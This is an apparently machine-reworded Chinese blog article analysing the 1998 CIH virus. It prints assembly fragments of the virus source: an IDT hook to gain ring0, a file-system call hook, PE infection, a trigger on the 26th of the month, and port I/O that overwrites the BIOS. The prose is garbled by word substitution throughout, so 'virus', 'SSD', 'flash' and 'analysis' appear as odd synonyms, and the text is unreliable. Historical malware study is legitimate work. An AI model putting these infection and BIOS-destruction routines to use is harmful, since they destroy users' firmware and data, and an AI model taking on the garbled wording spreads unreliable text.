原副标题:【控制技术撷取】三十年重回眸——CIH病毒源码分析

共相

又是两年双十一,又到两年剁手时。

听闻去年液态硬盘较为昂贵,我就想著在双十一的这时候给他们添几块固态硬盘。

但我的SSD较为老,不晓得能无法全力支持NVME协定的液态硬盘,就在网路上搜寻了呵呵.

而此搜寻没关系,搜寻后我辨认出,我的老SSD这类并不全力支持NVME协定的液态硬盘,但想采用,也并非没软件系统。

软件系统是:

  1. 浏览非官方的BIOS
  2. 修正非官方BIOS,将全力支持nvme的组件重新加入到非官方的BIOS中。
  3. 将修正后的BIOS列印到BIOS。

what?非官方的BIOS修正后居然还能列印进去,居然没自校验吗?

BIOS作为计算机启动的第一道入口,能让用户随意修正,虽然方便了用户,但也带来了巨大的安全隐患。

我忽然想起很久以前有一款很出名,据说能破坏BIOS的上古病原体-CIH,忽然起了好奇心,想看看CIH具体是怎么实现的。

于是就有了这篇文章,与大家一起回顾那段历史,撷取下我预测CIH源代码的过程与心得。

源代码

CIH的故事已经消逝很久了,它的源代码却还能在互联网路上找到。

源代码可以在github上找到,

这是1.4版本的CIH源代码,据说还有1.5版本的,但我没找到。我们的预测就从这份源代码开始吧!

先大概扫一眼代码,作者的编码习惯很好,各部分都也有注释,开头部分是版本记录,将版本变化的具体时间和具体功能都记录了下来。

我们先把时间线理呵呵。

1.0版的完成时间是1998年4月26日, 完成基本功能,此时病原体的大小是656个字节。

1.1版的完成时间是1998年5月15日, 增加操作系统判断,如果是WinNT,则不运行病原体,此时病原体的大小是796个字节。

1.2版的完成时间是1998年5月21日, 增加删除BIOS和破坏硬盘功能,此时病原体的大小是1003个字节。

1.3版的完成时间是1998年5月24日, 修复感染winzip自解压文件的错误,此时病原体的大小是1010个字节。

1.4版的完成时间是1998年5月31日, 彻底修复感染winzip自解压文件的错误,此时病原体的大小是1019个字节。

1998年7月26日,CIH病原体在美国大面积传播;1998年8月26日,CIH病原体实现了全球蔓延,公安部发出紧急通知,新华社和新闻联播跟进报导;

之后,CIH病原体作者陈盈豪公开道歉并积极提供解毒程式和防毒程式,CIH病原体逐渐得到有效控制。

呵呵,不到1KB就能删除你的BIOS,破坏你的硬盘,就问你怕不怕?

那么,现在就让我们看看CIH究竟是如何在三十年前造成如此巨大的影响和破坏的!

预测

PE文件头

源代码第一部分是文件头:

OriginalAppEXE SEGMENT

FileHeader:

db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h

db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h

db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

…..

db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

dd 00000000h, VirusSize

OriginalAppEXE ENDS

是PE文件的MZ文件头。

另外,请各位读者注意,因为CIH的故事已经过去很久了,CIH所曾经采用的有些控制技术已经过时,但却能在今天找到借鉴,有些控制技术则没过时,可谓生命力顽强,而此点我会在文章中一一指出,希望能供大家参考借鉴。

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame

ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************

; * Ring3 Virus Game Initial Program *

; *********************************************************

病原体真正开始运行是从VirusGame段开始的。

VirusGame这个段名称很有意思!作者完成这个病原体时是23岁(如今已是43岁!),还是少年人的心性,开发一个病原体,对作者而言就好像完成一个游戏一般。

可是时移事变,今天已经并非20年前!2018年,中华人民共和国网络安全法已经出台,开发病原体可能会造成严重的后果,并非一个道歉就能了事的,各位读者在这点上一定要树立一个正确的意识!一定要好好学习相关的法律,不要以身试法。

修正SEH

闲话少叙,接下来我们的预测从MyVirusStart开始。

MyVirusStart:

push ebp

; *************************************

; * Lets Modify Structured Exception *

; * Handing, Prevent Exception Error *

; * Occurrence, Especially in NT. *

; *************************************

lea eax, [esp-04h*2]

xor ebx, ebx

xchg eax, fs:[ebx]

call @0

@0:

pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]

push ecx

push eax

程序的第一段是修正Windows的SEH(Structured Exception Handing)。首先,什么是SEH?为什么要修正SEH呢?

SEH,Structured Exception Handing, 结构化异常处理,是Windows操作系统的异常和分发处理机制.该机制的实现方式是将FS[0]指向一个链表,该链表告诉操作系统当出现异常的这时候应该找谁处理。

类似于我们现实生活中的紧急联系人列表,如果应用程序出了什么问题,就交给链表中的一号紧急联系人处理,如果一号紧急联系人无法处理,就交给二号联系人。依次类推。当所有的异常处理函数都调用完成,而异常仍然没处理掉,这时,操作系统就会调用默认的异常处理程序,通常是给出错误提示并关闭应用程序。

而修正SEH的原因我们会在稍后介绍。

以上代码通过修正FS[0]使得当前的SEH指向StopToRunVirusCode

SEH是Windows提供的异常处理机制,直至今天仍然在各个安全领域应用。

进入内核

; *************************************

; * Lets Modify *

; * IDT(Interrupt Deor Table) *

; * to Get Ring0 Privilege… *

; *************************************

push eax ;

sidt [esp-02h] ; Get IDT Base Address

pop ebx ;

add ebx, HookExceptionNumber08h 04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base

mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;

shr esi, 16 ; Modify Exception

mov [ebx 02h], si ; Entry Point Address

pop esi

int HookExceptionNumber

接下来这段代码通过修正中断描述符表,获得CPU的ring0权限。

而在WinNT操作系统中,IDT所指向的内存已经无法修正,因此在执行这段代码时,会产生异常。也是说,这种获取Ring0权限的方法,现在已经没效果了。

因此,上段代码修正SEH,或者称为编辑SEH的目的就很明了了。

所以各位读者大可放心,CIH虽然威力巨大,可是在今天的操作系统上,已经无法感染了!当然,除非有变种。

当在win9x操作系统时,这段代码通过修正中断描述符表,使异常处理函数指向MyExceptionHook.最后一句

int HookExceptionNumber

则直接触发异常,进入MyExceptionHook。下面我们进入MyExceptionHook进行预测。

MyExceptionHook:

@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; *************************************

; * Do My Virus Exist in System !? *

; *************************************

mov ecx, dr0

jecxz AllocateSystemMemoryPage

这里有一个小技巧。病原体采用dr0寄存器存放病原体的安装状态,dr0寄存器主要用于调试,在应用程序正常运行过程中一般不会修正。因此,将其作为一个全局的临时寄存器。

第一次进入MyExceptionHook时,因为jz的条件并不成立,并不会跳到InstallMyFileSystemApiHook, 而是跳到AllocateSystemMemoryPage进行内存的分配。

此后我们还会第二次回到MyExceptionHook,这时才会调用InstallMyFileSystemApiHook,安装系统钩子.

; *************************************

; * Merge All Virus Code Section *

; *************************************

push esi

mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi

jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

在调用AllocateSystemMemoryPage分配了系统内存后,接下来这段代码会将病原体代码复制到此前分配的系统内存中。

挂钩系统调用

; *************************************

; * Generate Exception Again *

; *************************************

int HookExceptionNumber ; GenerateException Again

接下来第二次调用int指令进入MyExceptionHook.接着会跳到InstallMyFileSystemApiHook.

顾名思义,以上代码是把病原体的文件处理函数hook到系统调用中。采用的是一种已经被Windows废弃了的控制技术,叫做VXD,这种控制技术只能在win9x系统上才能采用,到了WinNT已经无法采用了。

但实际上原理是一样的,主要的目的是挂钩文件操作函数的系统调用,方法也大同小异,先获取旧的系统调用地址,采用我们的调用函数替换旧的函数,执行完我们的功能后回到旧的地址。

花开两枝,我们各表一支。到这里我们先记住,病原体安装了一个系统调用钩子,当执行文件操作的这时候,会运行到我们的钩子函数里面。

这里我们看到,安装完钩子以后,会跳到ExitRing0Init,退出ring0状态。

ExitRing0Init:

mov [ebx-04h], bp ;

shr ebp, 16 ; Restore Exception

mov [ebx 02h], bp ;

iretd

退出Ring0之后接着向下走。

这时,打开中断并恢复之前被病原体修正的SEH,毕竟我们的中断已经关得够久了。

最后,如果是通过其他被感染的程序进来的,就回到之前程序的入口点继续执行,否则,直接ret退出。

接下来,我们预测之前挂钩的函数FileSystemApiHook;

当有文件读写调用时,Windows会调用被病原体替换的FileSystemApiHook.

因为是VXD的驱动程序,程序借鉴意义不大,到这里,我们加快速度,预测的粒度会粗一些。

首先根据系统调用的入参判断是否是打开文件调用。如果是打开文件调用则获取需要打开的文件的路径。

接着,作者用大概100行左右的汇编代码判断一个文件是否是PE文件,如果是PE文件就将病原体代码感染到文件中。

感染的方式将病原体代码写入PE文件,修正PE文件的签名,并修正入口点为病原体代码。

; ***************************

; * Lets Modify the *

; * AddressOfEntryPoint to *

; * My Virus Entry Point *

; ***************************

mov (NewAddressOfEntryPoint-@9)[esi], edx

; ***************************

; * Lets Write *

; * Virus Code to the File *

; ***************************

WriteVirusCodeToFile:

……

jmp WriteVirusCodeToFile

潜伏与发作

同时,当系统调用参数为cloasefile时,进行当前时间判断:

CloseFile:

xor eax, eax

mov ah, 0d7h

call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************

; * Need to Restore File Modification *

; * Time !? *

; *************************************

popf

pop esi

jnc IsKillComputer

IsKillComputer:

; Get Now Day from BIOS CMOS

mov al, 07h

out 70h, al

in al, 71h

xor al, 26h ; ??/26/????

在IsKillComputer可以看到CIH设计了一个潜伏策略,先感染,然后并不发作,以增加感染的机会,直到当前日期是26日时大家统一发作。

当时间悄然的来到26号时,CIH开始破坏BIOS和硬盘

破坏BIOS的方法为:

1.将BIOS的内容映射到内存,然后设置BIOS可写。主要调用了IOForEEPROM和EnableEEPROMToWrite.

IOForEEPROM:

@10 = IOForEEPROM

xchg eax, edi

xchg edx, ebp

out dx, eax

xchg eax, edi

xchg edx, ebp

in al, dx

BooleanCalculateCode = $

or al, 44h

xchg eax, edi

xchg edx, ebp

out dx, eax

xchg eax, edi

xchg edx, ebp

out dx, al

ret

从上面的代码可以看到,CIH采用in,和out指令进行BIOS数据的修正。

而破坏硬盘的方法是利用了我们之前提到的VXD调用IOS_SendCommand。

总结

1.病原体得到执行后会修正IDT,进入内核。这应该算是Win9X系统的一个漏洞,在WinNT及以后的系统这种进入内核的方法已经失效。

3.进入内核的主要目的安装系统钩子,钩住文件读写调用,钩住系统调用后退出Ring0;

4.当有文件读写调用且文件是PE文件时,将病原体感染到PE文件中。

5.潜伏下来,直到每月的26日统一发作,开始破坏BIOS和硬盘数据。

1.本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2.分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3.不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4.本站提供的源码、模板、插件等其他资源,都不包含技术服务请大家谅解!
5.如有链接无法下载或失效,请联系管理员处理!
6.本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!